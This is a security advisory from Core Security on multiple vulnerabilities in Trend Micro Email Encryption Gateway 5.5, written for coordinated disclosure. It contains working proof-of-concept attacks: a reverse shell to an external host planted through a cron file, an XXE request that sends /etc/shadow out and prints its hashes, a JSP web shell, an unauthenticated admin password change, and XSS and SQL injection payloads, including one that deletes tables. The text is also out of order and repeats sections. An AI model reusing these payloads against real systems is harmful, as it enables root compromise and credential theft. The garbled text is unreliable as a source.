OK Content-Type: text/html Server: Microsoft-IIS/7.5 X-Powered-By: ASP.NET Date: Tue, 23 May 2017 14:39:46 GMT Connection: close Content-Length: 26 5.7 ../../../../../../../etc/cron.d/test test.html -----/ As a result, the server will create the file /etc/cron.d/test. Its contents are also controlled by the attacker. When the update launches, the appliance will download it from the following URL: /----- http://downloads.privatepost.com/files/TMEEG/updates/../../../../../../../etc/cron.d/test -----/ The attacker can tamper the server's response and inject arbitrary data, such as a reverse shell payload: /----- * * * * * root /bin/bash -i >& /dev/tcp/external_server/1080 0>&1 -----/ gaining code execution upon exploitation: /----- $ sudo nc -lvvp 1080 Listening on [0.0.0.0] (family 0, port 1080) Connection from [server] port 1080 [tcp/socks] accepted (family 2, sport 52171) bash: no job control in this shell [root@ localhost ~]# id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=user_u:system_r:unconfined_t -----/ 7.3. *Unvalidated software updates* [CVE-2018-6221] The update mechanism described in 7.2 does not validate the RPM file downloaded. An attacker in a man-in-the-middle position could tamper with the RPM file and inject its own. The following code snippet is responsible for installing the unvalidated RPM (com/identum/pmg/web/CheckForUpdates.java): /----- try { System.out.println("running file:"); System.out.println("rpm --upgrade --nodeps /tmp/" + rpmFileName); Process process = Runtime.getRuntime().exec("rpm --upgrade --nodeps /tmp/" + rpmFileName); [..] { -----/ In the following Proof of Concept, we crafted a malicious RPM file that executes a reverse shell once opened. This can be achieved by adding a reverse shell script to %pre section of RPM's SPEC file, which is executed previous to any installation step. As can be seen, this results in code execution as root: /----- $ sudo nc -lvvp 1080 Listening on [0.0.0.0] (family 0, port 1080) Connection from [server] port 1080 [tcp/socks] accepted (family 2, sport 40445) bash: no job control in this shell [root@ localhost /]# id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=root:system_r:rpm_script_t:SystemLow-SystemHigh -----/ 7.4. *Arbitrary logs location leading to command execution* [CVE-2018-6222] The location of the log files can be changed in the logConfiguration.do page. MimeBuildServer logs are particularly interesting because its contents can be controlled by an attacker. The first step is to point the log file to the Web application root. The following request redirects MimeBuildServer logs to /opt/tomcat/webapps/ROOT/pepito.jsp and enables full debug logs: /----- POST /logConfiguration.jsp HTTP/1.1 Host: [server] User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: https://[server]/logConfiguration.do Content-Type: application/x-www-form-urlencoded Content-Length: 798 Cookie: JSESSIONID=9363824A3BA637A8CC5B51955625075B DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 client0=KeyManager&warnLevel0=3&infoLevel0=1&debugLevel0=0&path0=%2Fvar%2Flog%2Fppg%2Fkeymanserver.log&client1=LauncherServer&warnLevel1=3&infoLevel1=1&debugLevel1=0&path1=%2Fvar%2Flog%2Fppg%2Flauncher.log&client2=KeyManagerClient&warnLevel2=3&infoLevel2=1&debugLevel2=0&path2=%2Fvar%2Flog%2Fppg%2Fkeymanclient.log&client3=MTAInterface&warnLevel3=3&infoLevel3=1&debugLevel3=0&path3=%2Fvar%2Flog%2Fppg%2Fmtainterface.log&client4=PolicyManagerServer&warnLevel4=3&infoLevel4=1&debugLevel4=0&path4=%2Fvar%2Flog%2Fppg%2Fpolicymanager.log&client5=SupervisorServer&warnLevel5=0&infoLevel5=3&debugLevel5=0&path5=%2Fvar%2Flog%2Fppg%2FSupervisorServer.log&client6=MimeBuilderServer&warnLevel6=3&infoLevel6=3&debugLevel6=3&path6=%2Fopt%2Ftomcat%2Fwebapps%2FROOT%2Fpepito.jsp&action=logConfiguration%3Apostback -----/ The second step is to update the MimeBuilder configuration and insert arbitrary JSP code. One candidate is the "Encrypted meeting request email message" form. /----- POST /mimebuilderconfig.jsp HTTP/1.1 Host: [server] User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: https://[server]/MimeBuilderConfig.do Content-Type: application/x-www-form-urlencoded Content-Length: 2915 Cookie: JSESSIONID=9363824A3BA637A8CC5B51955625075B DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 addEncryptionXHeader=on&encryptionXHeader=X-TMEEG-ENCRYPTED&addDecryptionXHeader=on&decryptionXHeader=X-TMEEG-DECRYPTED&addDecryptionNotice=off&decryptionNotice=javascript%3A%2F*%3C%2Fscript%3E%3Csvg%2Fonload%3D%27%2B%2F%22%2F%2B%2Fonmouseover%3D1%2F%2B%2F%5B*%2F%5B%5D%2F%2B%28%28new%28Image%29%29.src%3D%28%5B%5D%2B%2F%5C%2Ffud3uvq5miuqpikdqya3wzicu30woofc7z2nr%5C.burpcollaborator.net%2F%29.replace%28%2F%5C%5C%2Fg%2C%5B%5D%29%29%2F%2F%27%3E&errorOnVerificationFailure=off&meetingRequestEmailText=%3C%25%40+page+import%3D%22java.util.*%2Cjava.io.*%22%25%3E%0D%0A%3C%25%0D%0A%2F%2F%0D%0A%2F%2F+JSP_KIT%0D%0A%2F%2F%0D%0A%2F%2F+cmd.jsp+%3D+Command+Execution+%28unix%29%0D%0A%2F%2F%0D%0A%2F%2F+by%3A+Unknown%0D%0A%2F%2F+modified%3A+27%2F06%2F2003%0D%0A%2F%2F%0D%0A%25%3E%0D%0A%3CHTML%3E%3CBODY%3E%0D%0A%3CFORM+METHOD%3D%22GET%22+NAME%3D%22myform%22+ACTION%3D%22%22%3E%0D%0A%3CINPUT+TYPE%3D%22text%22+NAME%3D%22cmd%22%3E%0D%0A%3CINPUT+TYPE%3D%22submit%22+VALUE%3D%22Send%22%3E%0D%0A%3C%2FFORM%3E%0D%0A%3Cpre%3E%0D%0A%3C%25%0D%0Aif+%28request.getParameter%28%22cmd%22%29+%21%3D+null%29+%7B%0D%0A++++++++out.println%28%22Command%3A+%22+%2B+request.getParameter%28%22cmd%22%29+%2B+%22%3CBR%3E%22%29%3B%0D%0A++++++++Process+p+%3D+Runtime.getRuntime%28%29.exec%28request.getParameter%28%22cmd%22%29%29%3B%0D%0A++++++++OutputStream+os+%3D+p.getOutputStream%28%29%3B%0D%0A++++++++InputStream+in+%3D+p.getInputStream%28%29%3B%0D%0A++++++++DataInputStream+dis+%3D+new+DataInputStream%28in%29%3B%0D%0A++++++++String+disr+%3D+dis.readLine%28%29%3B%0D%0A++++++++while+%28+disr+%21%3D+null+%29+%7B%0D%0A++++++++++++++++out.println%28disr%29%3B+%0D%0A++++++++++++++++disr+%3D+dis.readLine%28%29%3B+%0D%0A++++++++++++++++%7D%0D%0A++++++++%7D%0D%0A%25%3E%0D%0A%3C%2Fpre%3E%0D%0A%3C%2FBODY%3E%3C%2FHTML%3E%0D%0A%0D%0A&encryptionVersion=zd&replyToSender=on&replyToAll=on&replyForward=on&zdMainTemplate=EncryptedMessageTemplate.html&zdAttachmentTemplate=EncryptedAttachmentTemplate.html&zdAttachmentPayloadTemplate=EncryptedAttachmentPayloadTemplate.html&preProcessMaxBlockSize=1914&preProcessMainDelimeter=%22%5C%3E%0D%0A%3Cinput+type%3D%22hidden%22+name%3D%22ibeMessage%22+id%3D%22ibeMessagePart__%5BAUTONUM%5D__%22+value%3D%22%0D%0A&preProcessInlineDelimeter=%22%5C%3E%0D%0A%3Cinput+type%3D%22hidden%22+name%3D%22ibeInline%22+id%3D%22ibeInlinePart__%5BAUTONUM%5D__%22+value%3D%22%0D%0A&b64EncodeAttachments=off&replyToSenderZdv4=on&replyToAllZdv4=on&replyForwardZdv4=on&zdMainTemplateZdv4=V4EncryptedMessageTemplate.htmlbt0ly&preProcessMaxBlockSizeZdv4=1914&preProcessMainDelimeterZdv4=%22%3E+%3Cinput+type%3D%22hidden%22+name%3D%22ibeMessage%22+id%3D%22ibeMessagePart__%5BAUTONUM%5D__%22+value%3D%22&preProcessInlineDelimeterZdv4=%22%3E+%3Cinput+type%3D%22hidden%22+name%3D%22ibeInline%22+id%3D%22ibeInlinePart__%5BAUTONUM%5D__%22+value%3D%22&b64EncodeAttachmentsZdv4=off&maxProcessThreads=10&mimeBuilderAction=mimeconfig%3Apostback -----/ The next time the service components are restarted, the log file will be created with the desired JSP code. With the sample JSP code from the previous request, the attacker would then navigate to pepito.jsp and execute arbitrary commands as root: /----- https://[server]/pepito.jsp?cmd=id Command: id uid=0(root) gid=0(root) context=system_u:system_r:java_t -----/ 7.5. *Missing authentication for appliance registration* [CVE-2018-6223] The registration endpoint is provided for system administrators to configure the virtual appliance upon deployment. However, this endpoint remains accessible without authentication even after the appliance is configured, which would allow attackers to set configuration parameters such as the administrator username and password. The following request changes the administrator password to "sombrero": /----- POST /register.jsp HTTP/1.1 Host: [server] Content-Type: application/x-www-form-urlencoded Content-Length: 414 action=register%3Apostback&activationCode1=EE&activationCode2=XXXX&activationCode3=XXXX&activationCode4=XXXX&activationCode5=XXXX&activationCode6=XXXX&activationCode7=XXXX&resellerCode=&hostName=tester.localdomain&regEmail=pentester1@coresecurity.com&contactName=Test+Test&contactEmail=pentester1@coresecurity.com&contactPhone=%2B5491145712447&userName=administrator&password=sombrero&confirmPassword=sombrero -----/ Note that a valid activation code is required. This code can be easily obtained by requesting a trial from Trend Micro's website. 7.6. This vulnerability can be chained with 7.4 and lead to remote command execution. It could also be abused to force updates once the attacker is in a man-in-the-middle position to exploit 7.2 or 7.3, which would also lead to remote command execution. The following proof of concept starts the check for updates process. /----- <html> <body> <script>history.pushState('', '', '/')</script> <form action="https://[server]/checkForUpdates.do"> <input type="submit" value="Submit request" /> </form> </body> </html> -----/ 7.7. *XML external entity injection in configuration.jsp* [CVE-2018-6225] The pciExceptionXml parameter of the configuration.jsp script is vulnerable to XML external entity injection. The following proof of concept uses external entities to send the /etc/shadow file to an external server. /----- POST /configuration.jsp HTTP/1.1 Host: [server] User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Content-Type: application/x-www-form-urlencoded Content-Length: 938 Cookie: JSESSIONID=E8357364AE748ACB904BE6E34F47F2DB Connection: close Upgrade-Insecure-Requests: 1 incomingPort=25&externalHost=&outboundExternalPort=25&internalHost=&outboundInternalPort=25&pciUseSemantics=on&pciScanAttachments=on&pciExceptionbetween0=on&pciExceptionbetween1=on&pciExceptionText0=on&enabledInput=on&exceptionInput=&enabledInput=on&editExceptionInput=&enabledInput=on&startInput=&endInput=&enabledInput=on&startInput=&endInput=&action=configuration%3Apostback&pciExceptionXml=<%3fxml+version%3d"1.0"+encoding%3d"utf-8"%3f> <!DOCTYPE+roottag+[ +<ENTITY+%25+file+SYSTEM+"file%3a///etc/shadow"> +<!ENTITY+%25+dtd+SYSTEM+"http%3a//external_server/combine.dtd"> %25dtd%3b]> <ci_exceptions><pci_exception+enabled%3d"true"><tart><[CDATA[<head>]]>%26send%3b</start><end></head>]]&gt;&lt;/end>&lt;/pci_exception>&lt;pci_exception+enabled%3d"true">&lt;start><![CDATA[<style></start><end></style></end></pci_exception><pci_exception+enabled%3d"true"><start><head/></start></pci_exception></pci_exceptions> -----/ The combine.dtd file is hosted on an external server, and its contents are: /----- <?xml version="1.0" encoding="UTF-8"?> <!ENTITY % all "<!ENTITY send SYSTEM 'gopher://external_server:1080/?%file;'>"> %all; $ sudo nc -lvvp 1080 Listening on [0.0.0.0] (family 0, port 1080) Connection from [server] port 1080 [tcp/socks] accepted (family 2, sport 49676) root:$1$8PtHrAEM$DmIkWpxYSOzhM0KLJGZvY/:14090:0:99999:7::: bin:*:14089:0:99999:7::: daemon:*:14089:0:99999:7::: adm:*:14089:0:99999:7::: lp:*:14089:0:99999:7::: sync:*:14089:0:99999:7::: shutdown:*:14089:0:99999:7::: halt:*:14089:0:99999:7::: mail:*:14089:0:99999:7::: news:*:14089:0:99999:7::: uucp:*:14089:0:99999:7::: operator:*:14089:0:99999:7::: games:*:14089:0:99999:7::: gopher:*:14089:0:99999:7::: ftp:*:14089:0:99999:7::: nobody:*:14089:0:99999:7::: rpm:!!:14089:0:99999:7::: dbus:!!:14089:0:99999:7::: exim:!!:14089:0:99999:7::: nscd:!!:14089:0:99999:7::: vcsa:!!:14089:0:99999:7::: rpc:!!:14089:0:99999:7::: sshd:!!:14089:0:99999:7::: pcap:!!:14089:0:99999:7::: haldaemon:!!:14089:0:99999:7::: postgres:!!:14090:::::: tomcat:!!:14090:0:99999:7::: xfs:!!:14179:::::: postfix:!!:14194:::::: -----/ These actions require the user to be authenticated within the Web console, so an attacker would need to obtain valid credentials first. Possible vectors to achieve this include exploiting any of the XSS issues described in 7.8, 7.9 and 7.10, or leveraging the XSRF vulnerability described in 7.6. 7.8. *Reflected cross-site scripting in keymanserverconfig.jsp* [CVE-2018-6226] The deniedKeysExpireTimeout and keyAge parameters of the keymanserverconfig.jsp script are vulnerable to cross-site scripting. The following is a proof of concept to demonstrate the vulnerability: /----- https://[server]/keymanserverconfig.jsp?keyAge=3&keyAgeUnits=m&deniedKeysExpireTimeout=6000yta9q%22%3e%3cscript%3ealert(1)%3c%2fscript%3ekb4w2xa9v0d&keymanServerAction=kmsconfig%3Apostback -----/ 7.9. *Reflected cross-site scripting in mimebuilderconfig.jsp* [CVE-2018-6226] The following parameters of the mimebuilderconfig.jsp script are vulnerable to cross-site scripting: decryptionXHeader, encryptionXHeader, meetingRequestEmailText, zdAttachmentPayloadTemplate, zdAttachmentTemplate, zdMainTemplate, zdMainTemplateZdv4. The following is a proof of concept to demonstrate the vulnerability: /----- https://[server]/mimebuilderconfig.jsp?zdMainTemplateZdv4=%22%3E%3Cscript%3Ealert(1)%3C/script%3E -----/ 7.10. *Stored cross-site scripting in editPolicy.jsp* [CVE-2018-6227] The hidEmails parameter of the editPolicy.jsp script is vulnerable to cross-site scripting. The following request adds a policy for the email address "<script>alert(1)</script>": /----- POST /editPolicy.jsp HTTP/1.1 Host: [server] User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: https://[server]/policies.jsp Content-Type: application/x-www-form-urlencoded Content-Length: 136 Cookie: JSESSIONID=7D25474429E52C823C63357255A5E781 DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 action=editPolicy%3Apostback&hidEmails=<script>alert(1)</script>&hidConditions=&hidRuleId=1&hidDelete=&ruleResult=3&ruleTarget=3&envId=1 -----/ The input will be stored unescaped and rendered every time the policies.do script is executed. Excerpt of the policies.do source showing the injected script tag: /----- <tr> <td ondblclick="edit_policy(this);" style="border:solid 1px #AAAAAA;background-color:#F5F5F5;cursor:move;" onmousedown="mouse_down(this, event);" onmouseup="mouse_up(this);" onmouseout="mouse_out(this);" onmousemove="mouse_move(this, event);">Don't decrypt messages to <script>alert(1)</script> -----/ 7.11. *SQL injection in policies.jsp* [CVE-2018-6228] The hidEditId parameter of the policies.jsp script is not sanitized, leading to SQL injection. As can be seen in the following excerpt, the script reads a parameter named hidEditId and forwards it to the editPolicy.jsp script if it is not set to -1. From webapps/ROOT/policies.jsp: /----- <% if (request.getParameter("hidEditId") != null) if (request.getParameter("hidEditId").compareTo("-1") != 0) { String hid_edit_id = request.getParameter("hidEditId"); %><jsp:forward page="editPolicy.jsp"><jsp:param name="editRuleId" value="<%= hid_edit_id %>"/></jsp:forward><% } [...] -----/ The editPolicy.jsp script will pass this parameter without any modification to the loadRuleDetails method, which is defined in the formEditPolicy class From webapps/ROOT/editPolicy.jsp: /----- if (request.getParameter("editRuleId") != null) frm.loadRuleDetails(request.getParameter("editRuleId")); [...] -----/ Finally, the loadRuleDetails method will use the unsanitized parameter it receives to build a dynamic SQL statement as follows: From webapps/ROOT/WEB-INF/classes/com/identum/pmg/web/formEditPolicy: /----- public boolean loadRuleDetails(String ruleId) { _databaseError = false; try { _ruleId = ruleId; _ruleResultId = dataStore.getRuleResultId(ruleId); _ruleForId = dataStore.getRuleForId(ruleId); _ruleEmails = dataStore.getRuleAddreses(ruleId); _ruleSubRules = dataStore.getSubRules(ruleId); [...] public String getRuleResultId(String ruleId) throws SQLException { Connection cnn = MySQLClient.GetInstance().GetConnection(); Statement query = cnn.createStatement(); String ruleResultId = ""; ResultSet rs = null; try { rs = query.executeQuery("SELECT RuleResultId FROM RulesEngine WHERE Id = " + ruleId); [...] -----/ The contents of ruleId will be appended to the SELECT query, resulting in a SQL injection. The following PoC opens a policy to edit, even though the hidEditId parameter is invalid. Due to the "always true" comparison, the first element is retrieved: /----- POST /policies.jsp HTTP/1.1 Host: server User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Content-Type: application/x-www-form-urlencoded Content-Length: 84 Referer: https://server/editPolicy.jsp Cookie: JSESSIONID=4CFE9B6E37DFABC16AF5D6F091F1A0E2 Connection: close Upgrade-Insecure-Requests: 1 action=policies%3Apostback&hidSequence=&hidEditId=178275005%20or%201%3d1%20LIMIT%201 -----/ 7.12. *SQL injection in editPolicy.jsp* [CVE-2018-6229] The hidRuleId parameter of the editPolicy.jsp script is not sanitized, leading to SQL injection in a DELETE statement. The following excerpt shows that the request object is forwarded to the DeletePolicy method implemented in the formEditPolicy class. From webapps/ROOT/editPolicy.jsp: /----- <% if (frm.isPostBack()) { if (request.getParameter("hidDelete").compareTo("YES") == 0) { frm.DeletePolicy(request); } [...] -----/ DeletePolicy reads the hidRuleId parameter and calls deletePolicy with it, without doing any sanitization. From webapps/ROOT/WEB-INF/classes/com/identum/pmg/web/formEditPolicy: /----- public boolean DeletePolicy(HttpServletRequest request) { String ruleId = request.getParameter("hidRuleId"); boolean success = dataStore.deletePolicy(ruleId); _databaseError = (!success); return success; } -----/ Finally, the JPostgresDataHelper class uses the ruleId parameter to build dynamic SQL statements, as can be seen in the following extract. From webapps/ROOT/WEB-INF/classes/com/identum/pmg/data/JPostgresDataHelper: /----- public boolean deletePolicy(String ruleId) { Connection cnn = null; Statement query = null; boolean bSuccess = true; try { cnn = MySQLClient.GetInstance().GetConnection(); cnn.setAutoCommit(false); query = cnn.createStatement(); query.executeUpdate("DELETE FROM RulesEmailIndex WHERE RulesEngineId = " + ruleId); query.executeUpdate("DELETE FROM SubRuleIndex WHERE RulesEngineId = " + ruleId); query.executeUpdate("DELETE FROM RulesEngine WHERE Id = " + ruleId); [...] -----/ The ruleId parameter will be appended as-is to the DELETE statements, resulting in a SQL injection. The following request will cause the RulesEmailIndex, SubRuleIndex, and RulesEngine tables to be truncated: /----- POST /editPolicy.jsp HTTP/1.1 Host: [server] User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: https://[server]/policies.jsp Content-Type: application/x-www-form-urlencoded Content-Length: 133 Cookie: JSESSIONID=2B363A12C93CA038322EE551890FF30F Connection: close Upgrade-Insecure-Requests: 1 action=editPolicy%3Apostback&hidEmails=&hidConditions=&hidRuleId=223+OR++'1+'%3d+'1+'&hidDelete=YES&ruleResult=3&ruleTarget=3&envId=1 -----/ 7.13. *SQL Injection in emailSearch.jsp* [CVE-2018-6230] The SearchString parameter of the emailSearch.jsp script is not sanitized, leading to a SQL injection. As can be seen in the following excerpt, the emailSearch.jsp script reads a parameter named SearchString and calls the getResults method defined in the wsEmailSearch class. From webapps/ROOT/emailSearch.jsp: /----- if (session.getAttribute("UserName") != null) { response.setContentType("text/xml"); ws.setSearchParam(request.getParameter("SearchString")); java.util.Vector res = ws.getResults(); [...] -----/ The searchParam property is not sanitized before being used to build a dynamic SQL query, resulting in a SQL injection in the SELECT statement. From webapps/ROOT/WEB-INF/classes/com/identum/pmg/web/wsEmailSearch: /----- public class wsEmailSearch { private String _searchParam = ""; public void setSearchParam(String searchParam) { _searchParam = searchParam; } public Vector getResults() { Vector res = new Vector(); Connection cnn = MySQLClient.GetInstance().GetConnection(); try { Statement query = cnn.createStatement(); ResultSet rs = query.executeQuery("SELECT address FROM RulesEmailAddresses WHERE address LIKE '%" + _searchParam + "%' ORDER BY address"); [...] -----/ The following proof of concept will cause all the e-mails on the database to be retrieved: /----- POST /emailSearch.jsp HTTP/1.1 Host: server User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: */* Accept-Language: en-US,en;q=0.5 Content-Type: application/x-www-form-urlencoded Referer: https://server/policies.jsp Content-Length: 39 Cookie: JSESSIONID=4CFE9B6E37DFABC16AF5D6F091F1A0E2 Connection: close SearchString=' OR '%1%'='%1 -----/ 8. *Report Timeline* 2017-06-05: Core Security sent an initial notification to Trend Micro, including a draft advisory. 2017-06-05: Trend Micro confirmed reception of advisory and informed they will submit it to the relevant technical team for validation and replication. 2017-06-22: Core Security asked for an update on the vulnerability reported. 2017-06-22: Trend Micro answered saying the cases are still being vetted and that they will commit a time when the solution is finalized. 2017-08-28: Core Security asked again for an update on the vulnerability reported. 2017-08-28: Trend Micro answered saying the team is still in the process of creating the official fix for the vulnerabilities, although there is still no official release date. 2017-10-02: Core Security asked again for an update on the vulnerability reported. 2017-10-02: Trend Micro answered saying the team are still finalizing the fix to ensure all vulnerabilities are covered. 2017-11-13: Core Security asked again (4th time) for an ETA for the official fix. We stated we need a release date or a thorough explanation on why after five months there is still no date defined. If there is no such answer we will be forced to publish the advisory. 2017-11-14: Trend Micro answered saying the team is still working on two vulnerabilities and due to the complexity and number of vulnerabilities overall found, their team requires more time. 2018-01-16: Core Security asked again (5th time) for an ETA for the official fix. 2018-01-23: Trend Micro answered proposing the publication date to be February 7th. 2018-01-24: Core Security thanked Trend Micro's answer and asked if all the vulnerabilities reported in the advisory will be addressed. In addition, Core Security asked for CVE-IDs. 2018-01-24: Trend Micro confirmed all submitted vulnerabilities will be addressed and notified Core Security they will send the CVE-IDs when have these assigned. In addition, Trend Micro sent its new PGP key. 2018-01-29: Core Security thanked Trend Micro's confirmation and agreed on the proposed release date. 2018-01-29: Trend Micro answered saying the team found a couple of issues during the QA test. Consequently, Trend Micro asked for additional time to fix the remaining vulnerabilities and required a separated disclosure time. 2018-01-29: Core Security answered its intention to report all the vulnerabilities in just one advisory and asked for a timeline for the fix. 2018-02-01: Core Security asked for an update on the remaining vulnerabilities. 2018-02-02: Trend Micro sent an update and requested a week extension. 2018-02-02: Core Security thanked Trend Micro's update and agreed to postpone the release. 2018-02-14: Trend Micro answered saying the remaining vulnerabilities will not be addressed in the patch due to its complexity; therefore, mitigation steeps will be recommending. Also, Trend Micro proposed February 21 as the release date. 2018-02-14: Core Security thanked Trend Micro's update and agreed on the proposed release date. 2018-02-21: Advisory CORE-2017-0006 published. 9. *References* [1] http://apac.trendmicro.com/apac/enterprise/network-web-messaging-security/email-encryption/ 10. *About CoreLabs* CoreLabs, the research center of Core Security, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com. 11. *About Core Security* Core Security provides companies with the security insight they need to know who, how, and what is vulnerable in their organization. The company's threat-aware, identity & access, network security, and vulnerability management solutions provide actionable insight and context needed to manage security risks across the enterprise. This shared insight gives customers a comprehensive view of their security posture to make better security remediation decisions. Better insight allows organizations to prioritize their efforts to protect critical assets, take action sooner to mitigate access risk, and react faster if a breach does occur. Core Security is headquartered in the USA with offices and operations in South America, Europe, Middle East and Asia. To learn more, contact Core Security at (678) 304-4500 or info@coresecurity.com 12. *Disclaimer* The contents of this advisory are copyright (c) 2018 Core Security and (c) 2018 CoreLabs,and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/ 13. *PGP/GPG Keys* This advisory has been signed with the GPG key of Core Security advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc

Reflected cross-site scripting (XSS) vulnerabilities in two Trend Micro Email Encryption Gateway 5.5 configuration files could allow an attacker to inject client-side scripts into vulnerable systems. An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. The vulnerability stems from the fact that the program does not correctly verify the input submitted by the user. A remote attacker could exploit this vulnerability to inject client-side script into an affected system by sending a specially crafted URL. *Vulnerability Information* Class: Cleartext Transmission of Sensitive Information [CWE-319], External Control of File Name or Path [CWE-73], Insufficient Verification of Data Authenticity [CWE-345], External Control of File Name or Path [CWE-73], Missing Authentication for Critical Function [CWE-306], Cross-Site Request Forgery [CWE-352], Improper Restriction of XML External Entity Reference [CWE-611], Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') [CWE-79], Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') [CWE-79], Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') [CWE-79], Improper Neutralization of Special Elements used in an SQL Command [CWE-89], Improper Neutralization of Special Elements used in an SQL Command [CWE-89], Improper Neutralization of Special Elements used in an SQL Command [CWE-89] Impact: Code execution Remotely Exploitable: Yes Locally Exploitable: Yes CVE Name: CVE-2018-6219, CVE-2018-6220, CVE-2018-6221, CVE-2018-6222, CVE-2018-6223, CVE-2018-6224, CVE-2018-6225, CVE-2018-6226, CVE-2018-6226, CVE-2018-6227, CVE-2018-6228, CVE-2018-6229, CVE-2018-6230 3. The encryption and decryption of email on the TMEEG client is controlled by a Policy Manager that enables an administrator to configure policies based on various parameters, such as sender and recipient email addresses, keywords, or PCI compliance. Encryption for Email Gateway presents itself as an SMTP interface and delivers email out over an SMTP to configured outbound MTAs. We also present two additional vectors to achieve code execution from a man-in-the-middle position. 4. *Vulnerable Packages* . 5. https://success.trendmicro.com/solution/1119349-security-bulletin-trend-micro-email-encryption-gateway-5-5-multiple-vulnerabilities 6. *Credits* These vulnerabilities were discovered and researched by Leandro Barragan and Maximiliano Vidal from Core Security Consulting Services. The publication of this advisory was coordinated by Alberto Solino from Core Advisories Team. 7. Section 7.4 describes a vulnerability in this console that can be exploited to gain command execution as root. The vulnerable functionality is accessible only to authenticated users, but it is possible to combine 7.4 with the vulnerability presented in section 7.5 to bypass this restriction and therefore execute root commands from the perspective of a remote unauthenticated attacker. The application does also use an insecure update mechanism that allows an attacker in a man-in-the-middle position to write arbitrary files and install arbitrary RPM packages, leading to remote command execution as the root user. Additional Web application vulnerabilities were found, including cross-site request forgery (7.6), XML external entity injection (7.7), several cross-site scripting vulnerabilities (7.8, 7.9, 7.10), and SQL injection vulnerabilities (7.11, 7.12, 7.13). 7.1. *Insecure update via HTTP* [CVE-2018-6219] Communication to the update servers is unencrypted. The following URL is fetched when the application checks for updates: /----- [Request #1] http://downloads.privatepost.com/files/TMEEG/updates/data.html -----/ The product expects to retrieve a plain-text file with the following format: /----- [Version Info] [Installation RPM file name] [Path to release notes] -----/ If a new update is found, then the RPM file is downloaded from the following URL: /----- [Request #2] http://downloads.privatepost.com/files/TMEEG/updates/[Installation RPM file name] -----/ This means that the product does not do any kind of certificate validation or public key pinning, which makes it easier for an attacker to eavesdrop and tamper the data. 7.2. *Arbitrary file write leading to command execution* [CVE-2018-6220] The following code snippet is responsible for downloading the update file (com/identum/pmg/web/CheckForUpdates.java): /----- FileDownload fd = new FileDownload(); if (!fd.download(updateURLRoot + "/" + rpmFileName, "/tmp/" + rpmFileName)) { return 10; } [...] -----/ The rpmFileName variable is controlled by the attacker, as it is taken from the aforementioned update file. As a consequence, the attacker controls the path where the update file is going to be downloaded. The RPM file is written by the root user with 0644 permissions. Being able to write to the file system as root opens the door to several code execution vectors on Linux machines. In this PoC we present one vector which consist on creating a cron job on /etc/cron.d directory. The attacker can send the following response to [Request #1]: /----- HTTP/1.1 200 OK Content-Type: text/html Server: Microsoft-IIS/7.5 X-Powered-By: ASP.NET Date: Tue, 23 May 2017 14:39:46 GMT Connection: close Content-Length: 26 5.7 ../../../../../../../etc/cron.d/test test.html -----/ As a result, the server will create the file /etc/cron.d/test. Its contents are also controlled by the attacker. When the update launches, the appliance will download it from the following URL: /----- http://downloads.privatepost.com/files/TMEEG/updates/../../../../../../../etc/cron.d/test -----/ The attacker can tamper the server's response and inject arbitrary data, such as a reverse shell payload: /----- * * * * * root /bin/bash -i >& /dev/tcp/external_server/1080 0>&1 -----/ gaining code execution upon exploitation: /----- $ sudo nc -lvvp 1080 Listening on [0.0.0.0] (family 0, port 1080) Connection from [server] port 1080 [tcp/socks] accepted (family 2, sport 52171) bash: no job control in this shell [root@ localhost ~]# id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=user_u:system_r:unconfined_t -----/ 7.3. *Unvalidated software updates* [CVE-2018-6221] The update mechanism described in 7.2 does not validate the RPM file downloaded. An attacker in a man-in-the-middle position could tamper with the RPM file and inject its own. The following code snippet is responsible for installing the unvalidated RPM (com/identum/pmg/web/CheckForUpdates.java): /----- try { System.out.println("running file:"); System.out.println("rpm --upgrade --nodeps /tmp/" + rpmFileName); Process process = 